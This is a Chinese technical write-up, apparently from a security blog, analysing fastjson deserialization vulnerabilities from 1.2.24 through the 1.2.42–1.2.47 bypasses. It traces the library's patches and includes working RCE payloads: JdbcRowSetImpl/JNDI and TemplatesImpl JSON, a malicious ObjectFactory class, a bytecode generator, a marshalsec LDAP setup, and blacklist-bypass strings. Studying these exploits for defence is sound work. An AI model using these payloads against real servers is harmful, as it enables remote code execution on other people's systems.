在JNDI注入一文中我们已经介绍了利用链，把漏洞触发代码从
String uri = "rmi://127.0.0.1:1099/aa";//可控uri
Context ctx = new InitialContext();
ctx.lookup(uri);
衍生到了
import com.sun.rowset.JdbcRowSetImpl;
public class CLIENT {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}
下面尝试用fastjson的被屏蔽的type来使服务端执行以上代码，可以看到我们需要调用的两个函数都是以set开头！这说明我们可以把这个函数当作setter函数进行调用！
去看一下这两个函数接口符不符合setter函数的条件
public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException
* [x] 方法名长度大于4且以set开头，且第四个字母要是大写
* [x] 非静态方法
* [x] 返回类型为void或当前类
* [x] 参数个数为1个
完美符合！直接给出payload！
{
"被屏蔽的type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
"dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"autoCommit":true // 再调用setAutoCommit函数，传入true
}
java环境：jdk1.8.0_161 < 1.8u191 （可以使用ldap注入）
package 版本24;
import com.alibaba.fastjson.JSON;
import com.fastjson.User;
public class POC {
String payload = "{\"被屏蔽的type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
使用工具起一个ldap服务
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:8090/#ExecTest`
之前的ExecTest.class，也不用修改直接上来
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class ExecTest implements ObjectFactory {
public ExecTest() {
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}
public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}
return "";
}
public static void main(String[] var0) {
exec("123");
}
}
在1.8下编译后使用python起web服务
`py -3 -m http.server 8090`
## 【<=1.2.24】JDK1.7 的TemplatesImpl利用链
### 利用条件
基于`JDK1.7u21 Gadgets` 的触发点TemplatesImple的利用条件比较苛刻：
1. 服务端使用parseObject()时，必须使用如下格式才能触发漏洞：
`JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);`
2. 服务端使用parse()时，需要`JSON.parse(text1,Feature.SupportNonPublicField);`
这是因为payload需要赋值的一些属性为private属性，服务端必须添加特性才回去从json中恢复private属性的数据
> 对于 JDK1.7u21 Gadgets 不熟悉的同学，可以参考我之前的文章。
>
>
> 在之前的文章也说过，TemplatesImpl对应的整条利用链是只有在JDK1.7u21附近的版本才能使用，但是最后TemplatesImpl这个类的触发点，其实是1.7全版本通用的。（因为修复只砍在了中间环节AnnotationInvocationHandler类）
>
> 那么实际上fastjson正是只利用了最后的TemplatesImpl触发点。这个利用方式实际上是1.7版本通用的。
> 其利用局限性在于服务端反序列化json的语句必须要支持private属性。
在Github上传的项目中`版本24.jdk7u21.java`是网上的payload。需要自己编译生成一个class文件不是很方便。
在`版本24.jdk7u21_mine`中自己把7u21链的payload中拿过来，自己改了下，可以自动生成payload。
public class jdk7u21_mine {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话，原始模型需要用static方式。
public static class lala{
}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
//如果对于这部分生成原理不清楚，参考以前的文章
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态初始化块和构造方法均可，这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();
return lalaByteCodes;
}
//生成payload，触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"被屏蔽的type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//此处删除了一些我觉得没有用的参数（第二个_name，_version，allowedProtocols），并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
//main函数调用以下poc而已
public static void main(String args[]){
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到payload使用`被屏蔽的type`反序列化了`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`这个类。
最终payload输出如下:
{"被屏蔽的type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
7u21 那篇文中总结得到恶意TemplatesImple类需要满足如下条件。
1. TemplatesImpl类的 `_name` 变量 != null
2. TemplatesImpl类的`_class`变量 == null
3. TemplatesImpl类的 `_bytecodes` 变量 != null
4. TemplatesImpl类的`_bytecodes`是我们代码执行的类的字节码。`_bytecodes`中的类必须是`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`的子类
5. 我们需要执行的恶意代码写在`_bytecodes` 变量对应的类的静态方法或构造方法中。
6. TemplatesImpl类的`_tfactory`需要是一个拥有getExternalExtensionsMap()方法的类，使用jdk自带的TransformerFactoryImpl类
显而易见1-3，5均符合（_class没有赋值即为null）。
然后我们调用满足条件的恶意TemplatesImple类的getOutputProperties方法，完成RCE。这是fastjson将自动调用字段的getter方法导致的，我们看一下getOutputProperties方法是否满足自动调用getter方法的条件：
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties`
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
* [x] 方法名长度大于等于4
* [x] 非静态方法
* [x] 以get开头且第4个字母为大写
* [x] 无传入参数
* [x] 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong（上面举例的时候说过Properties继承自Hashtables，实现了Map，所以符合）
那么存在以下三个问题
1. 为什么`_tfactory`可以是一个空的对象，而不是一个拥有getExternalExtensionsMap的类？
2. _bytecodes为什么不再是字节码，而是需要base64编码？
3. 我们要调用TemplatesImple类的getOutputProperties方法，但是为什么是`_outputProperties`字段，多了一个`_`？
### _tfactory为空的说明
在fastjson组件对于以上这一串东西进行解析时，会先解析出被屏蔽的type来还原出TemplatesImpl类。然后再根据之后的字段将TemplatesImpl类的属性赋值，至于赋值的内容会重新进行一次解析。
在看对于赋值内容的解析步骤时，会发现当赋值的值为一个空的Object对象时，会新建一个需要赋值的字段应有的格式的新对象实例。
`/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:627`
`/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:62`
那么_tfactory的应有的格式是哪来的呢，从定义来。
`/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java`
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;
所以之所以_tfactory的json字符串的值为空是OK的。
### _bytecodes需要base64编码
跟踪`_bytecodes`字段的值处理，同样还是刚才的地方，但是由于`_bytecodes`的值不是对象，进入另一个赋值方式。
`/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:71`
`com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze`
//进去后判断字段类型，当前是class[B byte数组，上面啥都不做，进行解析
...
}
JSONArray array = new JSONArray();
parser.parseArray(componentClass, array, fieldName);//进入此处
return (T) toObjectArray(parser, componentClass, array);
}
`com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type,
java.util.Collection, java.lang.Object)`
//type=class [B byte数组
//fieldName = _bytecodes
public void parseArray(Type type, Collection array, Object fieldName) {
...//这边就是在根据type类型进行不同的处理
} else {//byte数组进入此处
val = deserializer.deserialze(this, type, i);//在这句进行解析
}
array.add(val);
checkListResolve(array);
}
if (lexer.token() == JSONToken.COMMA) {
lexer.nextToken(deserializer.getFastMatchToken());
continue;
}
}
} finally {
this.setContext(context);
}
`com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze`
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}
//我们输入的json串中， _bytecodes 字段对应的值是String类型字符串，进入此处
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();//进入此处，获取json串的值恢复到byte数组
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);//base64解码
}
可见在代码逻辑中，字段的值从String恢复成`byte[]`，会经过一次base64解码。这是应该是fastjson在传输`byte[]`中做的一个内部规定。序列化时应该也会对byte[]自动base64编码。
try一下，果然如此。
### _getOutputProperties字段 => getOutputProperties方法
简单的删掉`_`试一下：
可以发现，并不会对结果造成什么影响，可见这个_不是必须的。
那么是在哪里对这个_进行了处理呢？
在字段解析之前，会对于当前字段进行一次智能匹配`com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField`:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = smartMatch(key);//进入此处，根据json串的字段名来获取字段反序列化解析器。
...
`com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch`
public FieldDeserializer smartMatch(String key) {
if (key == null) {
return null;
}
FieldDeserializer fieldDeserializer = getFieldDeserializer(key);
if (fieldDeserializer == null) {
boolean startsWithIs = key.startsWith("is");
...
//以下省略了对于is开头的字段的一些判断逻辑。
//好像满足了一定条件，会去跟对应的符合getter，settger的方法名匹配。
//好像又回到is方法可以调用不了，但是真的脑壳疼，漏洞关键也不在于此，就不纠结了。
}
}
//遍历我们输入的key的每一个字符，匹配第一个-或_替换为空
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
//接下来根据替换后的key2，去寻找对应符合getter，setter的方法名进行匹配。
然后在赋值的时候完美触发getoutputProperties方法。
`com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object,
java.lang.Object)`
public void setValue(Object object, Object value) {
if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}
try {
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {
//判断特殊类型
...
//进入getoutputProperties方法的返回值是Properties符合该一项（之前说过）
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
//进入调用，object是我们的恶意TemplatesImpl类
Map map = (Map) method.invoke(object);
那么以上流程就是`_getOutputProperties`字段 =>
`getOutputProperties`方法具体演变的细节。那么以上分析结果也让我们知道加个骚气的小杠`-`应该也是可以的。
至此就完成了在知道Templates触发类原理的情况下，变形衍生到了fastjson中完成RCE。
> 至于Templates恶意类的第二个触发点，xalan
> 2.7.2的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`，在JDK反序列化Gadgets7u21一文中有补充说明，这里就不多说了。
## Fastjson抗争的一生
在讲述完最开始引发漏洞的1.2.24版本之后，其实接下来的部分才是开起此篇的初衷。但是因为基础实在是差+懒，直到现在才开始正文。
### 1.2.24漏洞版本修复
在1.2.25版本，针对1.2.24版本进行了修复。
我们可以总结以下1.2.24版本的漏洞产生原因：
1. `被屏蔽的type`该关键词的特性会加载任意类，并给提供的输入字段的值进行恢复，如果字段有setter、getter方法会自动调用该方法，进行赋值，恢复出整个类。
这个过程会被叫做fastjson的反序列化过程，注意不要把这个过程跟java反序列化过程混为一谈。它们两个是同等级的存在，而不是前者基于后者之上。也就是说readObject()反序列化利用点那一套在这根本不适用。相应的被屏蔽的type加载任意类+符合条件的setter与getter变成了反序列化利用点（个人总结的三要素中的反序列化漏洞触发点）。
2. 在找到可以调用的setter、getter之后，从这个可以被出发的setter、getter之后就可以沿着不同的反序列化利用链前进，比如具有一定限制条件的TemplatesImpl利用链，JNDI注入的利用链。（个人总结三要素中的反序列化利用链）
3. 沿着链就会到最后的payload触发点。比如JNDI的远程恶意class文件的实例化操作（构造函数，静态方法）或调用类中getObjectInstance方法，与TemplatesImpl利用链中的class文件字节码的的实例化操作（构造函数，静态方法）（个人总结三要素中的反序列化payload触发点）
> 可以注意到最终的payload触发点具有好像是巧合的统一性，都类似于是一个class文件的实例化操作。在commons-> collections中则是反射机制（这在被屏蔽的type中的getter、setter函数调用中也被用到）。我们应该对这两个点产生敏感性。
修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于`被屏蔽的type`标签进行一个白名单+黑名单的限制机制。
使用万能的idea对两个版本的jar包进行对比
可以注意到，在解析json串的`DefaultJSONParser类`中做了一行代码的修改。当输入的键值是`被屏蔽的type`时，原本直接对值对应的类进行加载。现在会将值ref传入`checkAutoType方法`中。
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数`AutoTypeSupport`。参考[官方wiki](https://github.com/alibaba/fastjson/wiki/enable_autotype)
Fastjson默认AutoTypeSupport为False（开启白名单机制），通过需要服务端通过以下代码来显性修改。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); （关闭白名单机制）
由于checkAutoType中两条路线的代码是穿插的，我们先来看默认`AutoTypeSupport为False`时的代码。
`1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(开启白名单机制)`
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
//一些固定类型的判断，此处不会对clazz进行赋值，此处省略
if (!autoTypeSupport) {
//进行黑名单匹配，匹配中，直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单，进行匹配；如果匹配中，调用loadClass加载，赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//此处省略了当clazz不为null时的处理情况，与expectClass有关
//但是我们这里输入固定是null，不执行此处代码
//可以发现如果上面没有触发黑名单，返回，也没有触发白名单匹配中的话，就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}
可以得出在默认的`AutoTypeSupport为False`时，要求不匹配到黑名单，同时必须匹配到白名单的class才可以成功加载。
看一下默认黑名单，默认白名单（最下面，默认为空）
这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。
### 1.2.25-1.2.41绕过
所以接下来所谓的绕过都是在服务端显性开启`AutoTypeSupport为True`的情况下进行的。（这是一个很大的限制条件）
我们先来看显性修改`AutoTypeSupport为True`时的代码：
`1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制)`
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
//先进行白名单匹配，如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//同样进行黑名单匹配，如果匹配成功，则报错推出。
//需要注意这百年所谓的匹配都是startsWith开头匹配
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//一些固定类型的判断，不会对clazz进行赋值，此处省略
//不匹配白名单中也不匹配黑名单的，进入此处，进行class加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
//对于加载的类进行危险性判断，判断加载的clazz是否继承自Classloader与DataSource
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
//返回加载的class
return clazz;
}
可见在显性关闭白名单的情况下，我们也需要绕过黑名单检测，同时加载的类不能继承自Classloader与DataSource。
看似我们只能找到其他的利用类跟黑名单进行硬刚。但我们再跟一下类的加载`TypeUtils.loadClass`就会有所发现。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
//特殊处理1！
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//特殊处理2！
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
* 如果这个className是以`[`开头我们会去掉`[`进行加载！
但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步，在json串解析时就已经报错。
* 如果这个className是以`L`开头`;`结尾，就会去掉开头和结尾进行加载！
那么加上`L`开头`;`结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为：
//1.2.25-41绕过 jndi ldap
{"被屏蔽的type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.25-41绕过 7u21
同样加上L;，payload太长了且不唯一，就不写了
### 1.2.42版本修复
在1.2.42中对于1.2.41版本进行了修复，对于两个jar进行对比可以发现`DefaultJSONParser.java`没有什么关键的修改。
关键是在`ParserConfig.java`中修改了以下两点：
1. 修改明文黑名单为黑名单hash
2. 对于传入的类名，删除开头`L`和结尾的`;`
黑名单大致形式如下：
虽然说利用hash可以让我们不知道禁用了什么类，但是加密方式是有写`com.alibaba.fastjson.parser.ParserConfig#addDeny`中的`com.alibaba.fastjson.util.TypeUtils#fnv1a_64`，我们理论上可以遍历jar，字符串，类去碰撞得到这个hash的值。（因为常用的包是有限的）
public static long fnv1a_64(String key){
long hashCode = 0xcbf29ce484222325L;
for(int i = 0; i < key.length(); ++i){
char ch = key.charAt(i);
hashCode ^= ch;
hashCode *= 0x100000001b3L;
}
return hashCode;
}
//可以注意到，计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算
有一个[Github项目](https://github.com/LeadroyaL/fastjson-blacklist)就是完成了这样的事情，并列出了目前已经得到的hash。
再是对于传入的类名，删除开头`L`和结尾的`;`。
`com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)`
// hash算法常量
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 对传入类名的第一位和最后一位做了hash，如果是L开头，;结尾，删去开头结尾
// 可以发现这边只进行了一次删除
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
// 计算处理后的类名的前三个字符的hash
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
if (autoTypeSupport || expectClass != null) {
long hash = h3;
//基于前三个字符的hash结果继续进行hash运算
//这边一位一位运算比较其实就相当于之前的startswith，开头匹配
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//将运算结果跟白名单做比对
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//将运算结果跟黑名单做比对
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//之后就是一样的处理，根据类名加载类
确实有效的干掉了L开头；结尾的payload。
### 1.2.42绕过
但是可以发现在以上的处理中，只删除了一次开头的`L`和结尾的`;`，这里就好像使用黑名单预防SQL注入，只删除了一次敏感词汇的防御错误一样，重复一下就可以被轻易的绕过。所以payload如下：
//1.2.42绕过 jndi ldap
{"被屏蔽的type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.42绕过 7u21
同样加上LL ;;，payload太长了且不唯一，就不写了
### 1.2.43版本修复
在1.2.43中对于1.2.42版本可绕过的情况进行了修复。
修改了`com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)`的部分代码
//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头，；结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
//直接爆出异常
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
可见就对了LL开头的绕过进行了封堵。
至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了（暂时）。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的，这时候fastjson的风险已经很小了。
之后就是不断有新的组件作为利用链引入进行攻击，和黑名单的不断扩充之间的拉锯战。（之前也说过着一切都是在显性关闭白名单的情况下）
### 1.2.44 [ 限制
1.2.44补充了loadclass时`[`的利用情况，上面说到过，实际上这种形式的payload是用不了的。
比如FastjsonExpliot框架中的`{"被屏蔽的type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}`
但是在1.2.44中仍然对于这类类名进行了限制，使用同样的payload进行测试。
### 1.2.45 黑名单添加
1.2.45添加了黑名单，封堵了一些可以绕过黑名单的payload，比如:
//需要有第三方组件ibatis-core 3:0
{"被屏蔽的type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
黑名单封堵呢，其实是一个动态的过程，会有很多新增的jar包，如果服务端引入了这些额外的jar包，就会引入一条可利用链，，或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下，才有的问题。
之后更新的版本比如1.2.46也都在补充黑名单
但是在1.2.47时，一个全新的payload就没有这种限制，通杀。
### 1.2.47 通杀payload！
我们在分析1.2.47时，将从一个挖掘0day的角度去一步步分析，企图复现这个漏洞的挖掘过程，不然正向看，不得劲。payload在最后给出。
我们重新来理一下`com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>,
int)`这个阻挠我们的方法，上面我们提到过白名单开关时我们走的是不一样的路线，还在注释中提到会有一些固定类型的判断，这就是通杀payload的关键。
我们接下来看的是1.2.47版本的包，我们看总结后的代码结构：
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//1.typeName为null的情况，略
//2.typeName太长或太短的情况，略
//3.替换typeName中$为.，略
//4.使用hash的方式去判断[开头，或L开头;结尾，直接报错
//这里经过几版的修改，有点不一样了，但是绕不过，也略
//5.autoTypeSupport为true(白名单关闭)的情况下，返回符合白名单的，报错符合黑名单的
//(这里可以发现，白名单关闭的配置情况下，必须先过黑名单，但是留下了一线生机)
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//要求满足黑名单并且从一个Mapping中找不到这个类才会报错，这个Mapping就是我们的关键
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//6.从一个Mapping中获取这个类名的类，我们之后看
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//7.从反序列化器中获取这个类名的类，我们也之后看
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//8.如果在6，7中找到了clazz，这里直接return出去，不继续了
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//无论是默认白名单开启还是手动白名单关闭的情况，我们都要从这个return clazz中出去
return clazz;
}
// 9. 针对默认白名单开启情况的处理，这里
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//碰到黑名单就死
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//满足白名单可以活，但是白名单默认是空的
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//针对expectCLass的特殊处理，没有expectCLass，不管
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//通过以上全部检查，就可以从这里读取clazz
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//这里对一些特殊的class进行处理，不重要
//特性判断等
return clazz;
}
仔细分析了一下，可以发现无论是白名单开启与否，我们的恶意类都要想办法必须要从第8步的`return clazz`出去才有机会。
1. 因为白名单关闭（手动）时，我们如果进入第九步，会百分百跟黑名单正面撞上，必然被杀。我们只能在这之前溜出去，机会就在6，7步中。
2. 白名单开启时（默认），虽然在第五步时，我们也会跟黑名单撞上，但是却莫名其妙的会有一线生机，只要满足`TypeUtils.getClassFromMapping(typeName) != null`（是!=）反而可以从黑名单中逃开。然后从第八步中return出去。
那往之前看clazz可以从哪里赋值，5、6、7三个地方，但是5是白名单匹配才返回。这不可能。
于是开始关注6，7这两个操作到底是干啥的，（其实根据已知白名单开不开都通杀的特性，肯定是在第6步`TypeUtils.getClassFromMapping`中得到的恶意类，但是这边都瞅瞅，后面也会用到）
1. TypeUtils.getClassFromMapping(typeName)
2. deserializers.findClass(typeName)
#### deserializers.findClass(typeName)
先看desesrializers，一个hashmap
private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>();
